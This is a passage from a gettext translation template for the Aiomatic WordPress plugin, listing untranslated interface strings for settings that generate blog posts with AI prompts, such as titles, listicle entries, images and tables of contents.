res/aiomatic-limits-statistics.php:1748 res/aiomatic-shortcodes.php:97 msgid "Options" msgstr "" #: res/aiomatic-limits-statistics.php:1772 msgid "" "Do you want to enable this plugin? You can deactivate any rule (you don't " "have to delete them to deactivate them)." msgstr "" #: res/aiomatic-limits-statistics.php:1847 msgid "What to Restrict:" msgstr "" #: res/aiomatic-limits-statistics.php:1935 msgid "More Settings:" msgstr "" #: res/aiomatic-limits-statistics.php:1971 msgid "API usage for this user account: " msgstr "" #: res/aiomatic-limits-statistics.php:1981 msgid "Plugin Visibility Settings:" msgstr "" #: res/aiomatic-limits-statistics.php:1989 msgid "" "Select the additional user roles who will have access to the Aiomatic " "plugin, in the admin menu. Note that the administrator user role will always " "have access to the plugin (this is why it is not shown)." msgstr "" #: res/aiomatic-limits-statistics.php:1993 msgid "User Roles To See The Pluin In Admin Menu (Besides Administrators):" msgstr "" #: res/aiomatic-limits-statistics.php:2014 msgid "User Role Based Plugin Menu Restrictions:" msgstr "" #: res/aiomatic-limits-statistics.php:2036 msgid "User Role" msgstr "" #: res/aiomatic-limits-statistics.php:2040 msgid "Select the user role for which to apply the restriction." msgstr "" #: res/aiomatic-limits-statistics.php:2046 msgid "Select Menu Entries To Show" msgstr "" #: res/aiomatic-limits-statistics.php:2050 msgid "Select the menu entries to show for this specific user." msgstr "" #: res/aiomatic-limits-statistics.php:2073 msgid "Select a role..." msgstr "" #: res/aiomatic-limits-statistics.php:2112 msgid "" "Only the incidents which occured less than a week ago are displayed here." msgstr "" #: res/aiomatic-limits-statistics.php:2226 msgid "API Call Count" msgstr "" #: res/aiomatic-limits-statistics.php:2226 msgid "API Call Cost (USD)" msgstr "" #: res/aiomatic-limits-statistics.php:2226 msgid "API Token Count" msgstr "" #: res/aiomatic-limits-statistics.php:2226 msgid "AI Image Count" msgstr "" #: res/aiomatic-listicle-list.php:212 res/aiomatic-rules-list.php:222 #: res/aiomatic-single-list.php:1070 msgid "Post Title List / TXT File URL / RSS Feed URL" msgstr "" #: res/aiomatic-listicle-list.php:216 res/aiomatic-rules-list.php:226 #: res/aiomatic-single-list.php:1073 #, php-format msgid "" "Input your desired post titles (one per line), a TXT file with titles (one " "per line) or a RSS feed URL. The plugin will select a random post title at " "each run. Nested spintax supported. You can also enter RSS feed URLs, from " "where the plugin will extract a random post title, each time it runs. If you " "set a RSS feed URL, an item will be randomly selected from the title/" "description/content of the RSS feed contents - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:378 res/aiomatic-listicle-list.php:2905 #: res/aiomatic-single-list.php:1445 msgid "Listicle Article Options" msgstr "" #: res/aiomatic-listicle-list.php:385 res/aiomatic-rules-list.php:400 #, php-format msgid "" "If you set a post topic here, the titles you entered in the 'Post Title " "List' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the 'Title Prompt' settings " "from below to change the way titles will be created! Enter a post topic " "list, one on each line. If you leave this field blank, the titles from " "entered in the 'Post Title List' settings field will be used. If you enter a " "value here, new titles will be created, based on this topic and the values " "from the 'Post Title List' will be overwritten. If you enter multiple topics " "(one per line), a random topic will be selected at each run. This will set " "the value of the %%topic%% shortcode, which can be used in prompts below. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" #: res/aiomatic-listicle-list.php:389 res/aiomatic-rules-list.php:404 msgid "Auto Generate Post Title Based On Topics (Optional):" msgstr "" #: res/aiomatic-listicle-list.php:400 res/aiomatic-listicle-list.php:2922 #: res/aiomatic-rules-list.php:415 res/aiomatic-rules-list.php:3251 #: res/aiomatic-single-list.php:1452 res/aiomatic-single-list.php:2655 msgid "Select the method to be used for the title generator." msgstr "" #: res/aiomatic-listicle-list.php:404 res/aiomatic-rules-list.php:419 #: res/aiomatic-single-list.php:1456 res/aiomatic-single-list.php:2659 msgid "Title Generator Method:" msgstr "" #: res/aiomatic-listicle-list.php:408 res/aiomatic-listicle-list.php:2933 #: res/aiomatic-main.php:54 res/aiomatic-main.php:4862 #: res/aiomatic-rules-list.php:423 res/aiomatic-rules-list.php:3262 #: res/aiomatic-single-list.php:1460 res/aiomatic-single-list.php:2663 msgid "AI Writer" msgstr "" #: res/aiomatic-listicle-list.php:409 res/aiomatic-listicle-list.php:2938 #: res/aiomatic-rules-list.php:424 res/aiomatic-rules-list.php:3267 #: res/aiomatic-single-list.php:1461 res/aiomatic-single-list.php:2664 msgid "Related SERP Searches" msgstr "" #: res/aiomatic-listicle-list.php:418 res/aiomatic-listicle-list.php:2945 #: res/aiomatic-review-list.php:3135 res/aiomatic-rules-list.php:433 #: res/aiomatic-rules-list.php:3274 res/aiomatic-single-list.php:1470 #: res/aiomatic-single-list.php:2673 #, php-format msgid "" "Enter a list of post sections, one per line. These will be headings of the " "content. These can also be automatically generated by the plugin. To enable " "auto generating of sections, leave this field blank. You can use here the " "%%topic%% shortcode, to get the value of the above topic, automtically. This " "will set the value of the %%sections%% shortcode, which can be used in " "prompts below. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators. If you set a section list here, each " "created article will have this same list of sections, because of this, use " "shortcodes or Spintax when defining these static topics or leave this field " "blank for the plugin to auto generate them!" msgstr "" #: res/aiomatic-listicle-list.php:422 res/aiomatic-review-list.php:461 #: res/aiomatic-rules-list.php:437 res/aiomatic-single-list.php:1474 #: res/aiomatic-single-list.php:2677 res/aiomatic-single-list.php:4665 #: res/aiomatic-single-list.php:7223 res/aiomatic-youtube-list.php:440 msgid "Post Sections List (Optional):" msgstr "" #: res/aiomatic-listicle-list.php:433 res/aiomatic-listicle-list.php:2958 #: res/aiomatic-single-list.php:1485 #, php-format msgid "" "Enter the number of listicle entries to create in the article. These will " "also be set as article headings. You can also set value ranges, example: " "5-7. In this case, a random number will be selected in this range. Please " "use only numeric values in this field. This field will set the value of the " "%%sections_count%% shortcode." msgstr "" #: res/aiomatic-listicle-list.php:437 res/aiomatic-single-list.php:1489 msgid "Number Of Listicle Entries To Generate:" msgstr "" #: res/aiomatic-listicle-list.php:448 res/aiomatic-listicle-list.php:2970 #: res/aiomatic-single-list.php:1500 msgid "Select what you want to do with listicle entries in articles." msgstr "" #: res/aiomatic-listicle-list.php:452 res/aiomatic-single-list.php:1504 msgid "Add Listicle Entries To Content As:" msgstr "" #: res/aiomatic-listicle-list.php:472 res/aiomatic-listicle-list.php:3023 #: res/aiomatic-single-list.php:1524 #, php-format msgid "" "Enter the number of paragraphs to create for each Listicle Entry. These will " "also be set as article headings. You can also set value ranges, example: " "5-7. In this case, a random number will be selected in this range. Please " "use only numeric values in this field. This field will set the value of the " "%%paragraphs_per_section%% shortcode." msgstr "" #: res/aiomatic-listicle-list.php:476 res/aiomatic-single-list.php:1528 msgid "Number Of Paragraphs Per Listicle Entry:" msgstr "" #: res/aiomatic-listicle-list.php:487 res/aiomatic-listicle-list.php:3035 #: res/aiomatic-rules-list.php:502 res/aiomatic-rules-list.php:3364 #: res/aiomatic-single-list.php:1539 res/aiomatic-single-list.php:2742 #: res/aiomatic-single-list.php:4730 res/aiomatic-youtube-list.php:505 #: res/aiomatic-youtube-list.php:3095 msgid "" "Set the number of related images to add to the created post content. This " "feature will use the royalty free image sources configured in the plugin's " "'Settings' menu or if you have access to the DallE API. You can change image " "source in the 'AI Image Source' settings field from below. The maximum " "number of images you can add to each article: number of sections + 2" msgstr "" #: res/aiomatic-listicle-list.php:491 res/aiomatic-rules-list.php:506 #: res/aiomatic-single-list.php:1543 res/aiomatic-single-list.php:2746 #: res/aiomatic-single-list.php:4734 res/aiomatic-youtube-list.php:509 msgid "Number of Images To Add To The Article:" msgstr "" #: res/aiomatic-listicle-list.php:503 res/aiomatic-listicle-list.php:3047 #: res/aiomatic-rules-list.php:518 res/aiomatic-rules-list.php:3376 #: res/aiomatic-single-list.php:1555 res/aiomatic-single-list.php:2758 #: res/aiomatic-single-list.php:4746 res/aiomatic-youtube-list.php:521 #: res/aiomatic-youtube-list.php:3107 msgid "" "Select if you want to add an image to each of the creating headings from the " "article." msgstr "" #: res/aiomatic-listicle-list.php:507 res/aiomatic-rules-list.php:522 #: res/aiomatic-single-list.php:1559 res/aiomatic-single-list.php:2762 #: res/aiomatic-single-list.php:4750 res/aiomatic-youtube-list.php:525 msgid "Add An Image To Each Heading Of The Article:" msgstr "" #: res/aiomatic-listicle-list.php:518 res/aiomatic-listicle-list.php:3064 #: res/aiomatic-rules-list.php:533 res/aiomatic-rules-list.php:3393 msgid "Select the location of the heading images/videos." msgstr "" #: res/aiomatic-listicle-list.php:522 res/aiomatic-rules-list.php:537 msgid "Heading Image/Video Location:" msgstr "" #: res/aiomatic-listicle-list.php:526 res/aiomatic-listicle-list.php:3074 #: res/aiomatic-rules-list.php:541 res/aiomatic-rules-list.php:3403 #: res/aiomatic-single-list.php:1578 res/aiomatic-single-list.php:2781 #: res/aiomatic-single-list.php:4769 res/aiomatic-youtube-list.php:544 #: res/aiomatic-youtube-list.php:3134 msgid "Top of the section" msgstr "" #: res/aiomatic-listicle-list.php:527 res/aiomatic-listicle-list.php:3079 #: res/aiomatic-rules-list.php:542 res/aiomatic-rules-list.php:3408 #: res/aiomatic-single-list.php:1579 res/aiomatic-single-list.php:2782 #: res/aiomatic-single-list.php:4770 res/aiomatic-youtube-list.php:545 #: res/aiomatic-youtube-list.php:3139 msgid "Under the heading text" msgstr "" #: res/aiomatic-listicle-list.php:528 res/aiomatic-listicle-list.php:3084 #: res/aiomatic-rules-list.php:543 res/aiomatic-rules-list.php:3413 #: res/aiomatic-single-list.php:1580 res/aiomatic-single-list.php:2783 #: res/aiomatic-single-list.php:4771 res/aiomatic-youtube-list.php:546 #: res/aiomatic-youtube-list.php:3144 msgid "Bottom of the section" msgstr "" #: res/aiomatic-listicle-list.php:538 res/aiomatic-rules-list.php:553 #: res/aiomatic-single-list.php:1590 res/aiomatic-single-list.php:2793 msgid "" "Set the number of related YouTube videos to add to the created post content. " "The maximum number of videos you can add to each article: number of sections" msgstr "" #: res/aiomatic-listicle-list.php:542 res/aiomatic-rules-list.php:557 #: res/aiomatic-single-list.php:1594 res/aiomatic-single-list.php:2797 msgid "Number of YouTube Videos To Add To The Article:" msgstr "" #: res/aiomatic-listicle-list.php:573 res/aiomatic-rules-list.php:588 #: res/aiomatic-single-list.php:1625 res/aiomatic-single-list.php:2828 #: res/aiomatic-single-list.php:4816 res/aiomatic-youtube-list.php:591 msgid "Add Article Table Of Contents:" msgstr "" #: res/aiomatic-listicle-list.php:589 res/aiomatic-rules-list.php:604 #: res/aiomatic-single-list.php:1641 res/aiomatic-single-list.php:2844 #: res/aiomatic-single-list.php:4832 res/aiomatic-youtube-list.php:607 msgid "Article Table Of Contents Section Header Text:" msgstr "" #: res/aiomatic-listicle-list.php:604 res/aiomatic-rules-list.php:619 #: res/aiomatic-single-list.php:1656 res/aiomatic-single-list.php:2859 #: res/aiomatic-single-list.php:4847 res/aiomatic-youtube-list.php:622 msgid "Add Article Q&A Section:" msgstr "" #: res/aiomatic-listicle-list.php:619 res/aiomatic-rules-list.php:634 #: res/aiomatic-single-list.php:1671 res/aiomatic-single-list.php:2874 #: res/aiomatic-single-list.php:4862 res/aiomatic-youtube-list.php:637 msgid "Article Q&A Section Header Text:" msgstr "" #: res/aiomatic-listicle-list.php:776 res/aiomatic-rules-list.php:791 #: res/aiomatic-single-list.php:1828 res/aiomatic-single-list.php:3031 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:814 res/aiomatic-rules-list.php:829 #: res/aiomatic-single-list.php:1866 res/aiomatic-single-list.php:3069 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:852 res/aiomatic-single-list.php:1904 #, php-format msgid "" "Prompt to be used for the Listicle Entries. These will be set also as " "headings in the article. You can use the following shortcodes: %%title%%, " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:856 res/aiomatic-single-list.php:1908 msgid "Listicle Entries Prompt:" msgstr "" #: res/aiomatic-listicle-list.php:867 res/aiomatic-listicle-list.php:3315 #: res/aiomatic-single-list.php:1919 msgid "Select the AI Model to be used for the Listicle Entries generator." msgstr "" #: res/aiomatic-listicle-list.php:871 res/aiomatic-single-list.php:1923 msgid "AI Model For Listicle Entries Generator:" msgstr "" #: res/aiomatic-listicle-list.php:890 res/aiomatic-listicle-list.php:3344 #: res/aiomatic-rules-list.php:905 res/aiomatic-rules-list.php:3673 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%title%%, %%article_so_far%%, %%last_section_content%%, " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:894 res/aiomatic-single-list.php:1946 msgid "Listicle Entries Content Prompt:" msgstr "" #: res/aiomatic-listicle-list.php:928 res/aiomatic-listicle-list.php:3386 #: res/aiomatic-rules-list.php:943 res/aiomatic-rules-list.php:3715 #: res/aiomatic-single-list.php:1980 res/aiomatic-single-list.php:3183 #: res/aiomatic-single-list.php:5171 res/aiomatic-youtube-list.php:946 #: res/aiomatic-youtube-list.php:3450 msgid "" "Select if you want to use the above content prompt to create the entire " "article from a single API call (checkbox checked) or to run the prompt for " "each section separately (checkbox unchecked). If you check this, be sure to " "modify the content prompt accordingly." msgstr "" #: res/aiomatic-listicle-list.php:932 res/aiomatic-rules-list.php:947 #: res/aiomatic-single-list.php:1984 res/aiomatic-single-list.php:3187 #: res/aiomatic-single-list.php:5175 res/aiomatic-youtube-list.php:950 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section):" msgstr "" #: res/aiomatic-listicle-list.php:943 res/aiomatic-rules-list.php:958 #: res/aiomatic-single-list.php:1995 res/aiomatic-single-list.php:3198 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:981 res/aiomatic-rules-list.php:996 #: res/aiomatic-single-list.php:2033 res/aiomatic-single-list.php:3236 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:1019 res/aiomatic-rules-list.php:1034 #: res/aiomatic-single-list.php:2071 res/aiomatic-single-list.php:3274 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:1090 res/aiomatic-listicle-list.php:3555 #: res/aiomatic-rules-list.php:1105 res/aiomatic-rules-list.php:3884 #: res/aiomatic-single-list.php:2142 res/aiomatic-single-list.php:3345 #: res/aiomatic-single-list.php:5333 res/aiomatic-youtube-list.php:1108 #: res/aiomatic-youtube-list.php:3619 msgid "" "Select on which prompts do you want to run the above Regex. Possible values " "are (or any of their combinations): title, intro, sections, content, outro, " "excerpt" msgstr "" #: res/aiomatic-listicle-list.php:1277 res/aiomatic-rules-list.php:1543 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post categories. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:1404 res/aiomatic-rules-list.php:1670 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to AI for " "generating post tags. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, " "containing keywords (one per line), or to an RSS feed. If you use RSS feeds, " "you can also use the following additional shortcodes: %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%. The length of this " "command should not be greater than the max token count set in the settings " "for the prompt command - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:1438 res/aiomatic-listicle-list.php:3934 #: res/aiomatic-review-list.php:1599 res/aiomatic-review-list.php:4270 #: res/aiomatic-rules-list.php:1704 res/aiomatic-rules-list.php:4490 #: res/aiomatic-single-list.php:2285 res/aiomatic-single-list.php:3488 #: res/aiomatic-single-list.php:4223 res/aiomatic-single-list.php:5476 #: res/aiomatic-single-list.php:6790 res/aiomatic-single-list.php:8156 #: res/aiomatic-youtube-list.php:1456 res/aiomatic-youtube-list.php:3998 msgid "" "Set the maximum number of API tokens to use with each request. This will " "define the length of the resulting API response. Each token usually consists " "of approximately 4 characters. Note that in this value the number of tokens " "sent to the API as an article prompt will also be counted. The maximum " "amount which can be set is 4000. For other models, the maximum is 2048." msgstr "" #: res/aiomatic-listicle-list.php:1595 res/aiomatic-rules-list.php:1876 #: res/aiomatic-single-list.php:2419 res/aiomatic-single-list.php:3622 #: res/aiomatic-single-list.php:4372 #, php-format msgid "" "Set list of prompt commands (one on each line) you want to send to the AI " "image generator. This command can be any given task or order, based on " "which, it will generate images. You can use the following shortcodes here: " "%%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, " "%%random_sentence2%%, %%blog_title%%. The length of this command should not " "be greater than 1000 characters, otherwise the plugin will strip it to 1000 " "characters length. - Update: %%related_questions_KEYWORD%% is also " "supported, to get a list of PAA questions for the KEYWORD you want to use. " "Update: nested shortcodes also supported (shortcodes generated by rules from " "other plugins). You can also add here a link to a .txt file, where you can " "add multiple prompts (one per line) and the plugin will select a random one " "at each run. You will also be able to use the custom shortcodes defined in " "the 'Custom Shortcode Creator' feature from the rule settings - this will " "allow you to create partially or fully AI generated prompts which will be " "used for the content generators. You will also be able to use the custom " "shortcodes defined in the 'Custom Shortcode Creator' feature from the rule " "settings - this will allow you to create partially or fully AI generated " "prompts which will be used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:1670 res/aiomatic-listicle-list.php:4168 #: res/aiomatic-rules-list.php:1951 res/aiomatic-rules-list.php:4735 #: res/aiomatic-single-list.php:2476 res/aiomatic-single-list.php:3679 #: res/aiomatic-single-list.php:4429 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:1685 res/aiomatic-rules-list.php:1966 #: res/aiomatic-single-list.php:2491 res/aiomatic-single-list.php:3694 #: res/aiomatic-single-list.php:4444 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also " "use an optional parameter in the random_image and random_video shortcodes, " "which will add a percentage chance for the media to appear or not - example: " "%%random_video[keyword][60]%% - a video will appear in 60% of cases, in the " "rest of 40%, nothing will be returned by the shortcode - Update: %" "%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" #: res/aiomatic-listicle-list.php:2345 msgid "Listicle Creator Tutorial Video:" msgstr "" #: res/aiomatic-listicle-list.php:2909 res/aiomatic-rules-list.php:3238 #, php-format msgid "" "If you set a post topic list here, the titles you entered in the \\'Post " "Title List\\' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the \\'Title Prompt\\' " "settings from below to change the way titles will be created! Enter a post " "topic list, one on each line. If you leave this field blank, the titles from " "entered in the 'Post Title List' settings field will be used. If you enter a " "value here, new titles will be created, based on this topic and the values " "from the 'Post Title List' will be overwritten. If you enter multiple topics " "(one per line), a random topic will be selected at each run. This will set " "the value of the %%topic%% shortcode, which can be used in prompts below. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" #: res/aiomatic-listicle-list.php:2912 res/aiomatic-rules-list.php:3241 msgid "Auto Generate Post Title Based On Topics (Optional)" msgstr "" #: res/aiomatic-listicle-list.php:2925 res/aiomatic-rules-list.php:3254 msgid "Title Generator Method" msgstr "" #: res/aiomatic-listicle-list.php:2948 res/aiomatic-review-list.php:3138 #: res/aiomatic-rules-list.php:3277 res/aiomatic-youtube-list.php:3008 msgid "Post Sections List (Optional)" msgstr "" #: res/aiomatic-listicle-list.php:2961 msgid "Number Listicle Entries To Generate" msgstr "" #: res/aiomatic-listicle-list.php:2973 msgid "Add Listicle Entries To Content As" msgstr "" #: res/aiomatic-listicle-list.php:3026 msgid "Number Of Paragraphs Per Listicle Entry" msgstr "" #: res/aiomatic-listicle-list.php:3038 res/aiomatic-rules-list.php:3367 #: res/aiomatic-youtube-list.php:3098 msgid "Number of Images To Add To The Article" msgstr "" #: res/aiomatic-listicle-list.php:3050 res/aiomatic-rules-list.php:3379 #: res/aiomatic-youtube-list.php:3110 msgid "Add An Image To Each Heading Of The Article" msgstr "" #: res/aiomatic-listicle-list.php:3067 res/aiomatic-rules-list.php:3396 msgid "Heading Image/Video Location" msgstr "" #: res/aiomatic-listicle-list.php:3096 res/aiomatic-rules-list.php:3425 msgid "" "Set the number of related videos to add to the created post content. The " "maximum number of videos you can add to each article: number of sections" msgstr "" #: res/aiomatic-listicle-list.php:3099 res/aiomatic-rules-list.php:3428 msgid "Number of YouTube Videos To Add To The Article" msgstr "" #: res/aiomatic-listicle-list.php:3123 res/aiomatic-rules-list.php:3452 #: res/aiomatic-youtube-list.php:3187 msgid "Add Article Table Of Contents Section" msgstr "" #: res/aiomatic-listicle-list.php:3141 res/aiomatic-rules-list.php:3470 #: res/aiomatic-youtube-list.php:3205 msgid "Article Table Of Contents Section Header Text" msgstr "" #: res/aiomatic-listicle-list.php:3153 res/aiomatic-rules-list.php:3482 #: res/aiomatic-youtube-list.php:3217 msgid "Add Article Q&A Section" msgstr "" #: res/aiomatic-listicle-list.php:3171 res/aiomatic-rules-list.php:3500 #: res/aiomatic-youtube-list.php:3235 msgid "Article Q&A Section Header Text" msgstr "" #: res/aiomatic-listicle-list.php:3218 res/aiomatic-rules-list.php:3547 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to " "get a list of PAA questions for the KEYWORD you want to use. Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators." msgstr "" #: res/aiomatic-listicle-list.php:3260 res/aiomatic-rules-list.php:3589 #, php-format msgid "" "Prompt to be used for the Post Intro. You can use the following shortcodes: " "%%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - to disable article intro, leave " "this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, " "to get a list of PAA questions for the KEYWORD you want to use. Update: " "nested shortcodes also supported (shortcodes generated by rules from other " "plugins). You will also be able to use the custom shortcodes defined in the " "'Custom Shortcode Creator' feature from the rule settings - this will allow " "you to create partially or fully AI generated prompts which will be used for " "the content generators. You will also be able to use the custom shortcodes " "defined in the 'Custom Shortcode Creator' feature from the rule settings - " "this will allow you to create partially or fully AI generated prompts which " "will be used for the content generators." msgstr "" #: res/aiomatic-listicle-list.php:3302 #, php-format msgid "" "Prompt to be used for the Listicle Entries. You can use the following " "shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, 